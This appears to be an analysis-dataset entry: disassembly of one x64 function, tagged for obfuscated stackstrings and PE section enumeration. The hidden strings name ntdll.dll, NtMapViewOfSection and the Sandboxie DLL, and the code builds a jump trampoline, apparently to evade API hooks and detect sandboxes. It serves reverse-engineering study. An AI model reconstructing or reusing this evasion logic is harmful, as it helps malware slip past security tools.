Function at 0x180002bd0
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x10], rdx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xb0
mov rbx, qword [0x1800061d8]
xor r12d, r12d
mov rsi, r8
mov r15, rcx
test rbx, rbx
jne 0x180002dcc
lea rcx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x6c64746e
mov dword [rbp - 0x55], 0x6c642e6c
mov word [rbp - 0x51], 0x6c
mov dword [rbp - 0x39], 0x614d744e
mov dword [rbp - 0x35], 0x65695670
mov dword [rbp - 0x31], 0x53664f77
mov dword [rbp - 0x2d], 0x69746365
mov word [rbp - 0x29], 0x6e6f
mov byte [rbp - 0x27], r12b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp - 0x39]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x59]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x6f]
lea rcx, [rbp - 0x59]
mov dword [rbp + 0x6f], r12d
mov rdi, rax
call fcn.180002850
mov rbx, rax
test rax, rax
je 0x180002ca7
mov r8d, dword [rbp + 0x6f]
mov rdx, rdi
mov rcx, rax
call fcn.1800024c0
test eax, eax
jne 0x180002cbf
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_free]
mov rbx, qword [0x1800061d8]
test rbx, rbx
jne 0x180002dcc
or eax, 0xffffffff
jmp 0x180002e0f
movsxd rcx, dword [rbx + 0x3c]
mov r8d, r14d
add rcx, rbx
sub r8d, edi
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
cmp r8d, dword [rax + 0xc]
jb 0x180002d14
movzx r10d, word [rcx + 6]
mov r9d, r12d
test r10d, r10d
je 0x180002d10
nop word [rax + rax]
mov edx, dword [rax + 0xc]
cmp r8d, edx
jb 0x180002d04
add edx, dword [rax + 8]
cmp r8d, edx
jb 0x180002dbe
inc r9d
add rax, 0x28
cmp r9d, r10d
jb 0x180002cf0
or r8d, 0xffffffff
mov rax, qword [r8 + rbx]
mov rcx, rbx
mov qword [rbp - 0x21], rax
mov rax, qword [r8 + rbx + 8]
mov qword [rbp - 0x19], rax
call qword [sym.imp.msvcrt.dll_free]
lea rcx, [rbp - 0x49]
mov dword [rbp - 0x49], 0x65696253
mov dword [rbp - 0x45], 0x2e6c6c44
mov dword [rbp - 0x41], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x10
lea r9, [rbp + 0x3f]
test rax, rax
lea rdx, [rbp + 0x4f]
mov qword [rbp + 0x4f], r12
cmovne r8d, r12d
lea eax, [r8 + 1]
mov byte [rbp + r8 - 0x21], 0xff
lea edi, [r8 + 0xe]
mov byte [rbp + rax - 0x21], 0x25
lea rax, [r8 + r14]
mov dword [rbp + r8 - 0x1f], r12d
mov qword [rbp + r8 - 0x1b], rax
mov qword [rbp + 0x3f], rdi
call fcn.1800036c0
test eax, eax
mov rbx, r12
cmovns rbx, qword [rbp + 0x4f]
mov qword [0x1800061d8], rbx
test rbx, rbx
je 0x180002cb7
lea rdx, [rbp - 0x21]
mov r8d, edi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
jmp 0x180002cae
mov ecx, dword [rax + 0x14]
sub ecx, dword [rax + 0xc]
add r8d, ecx
jmp 0x180002d14
test rsi, rsi
je 0x180002cb7
mov eax, dword [rbp + 0x7f]
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x48], eax
mov rax, qword [rbp + 0x67]
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x5f]
mov qword [rsp + 0x28], rax
or rdx, 0xffffffffffffffff
mov rcx, r15
mov qword [rsp + 0x20], r12
call rbx
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret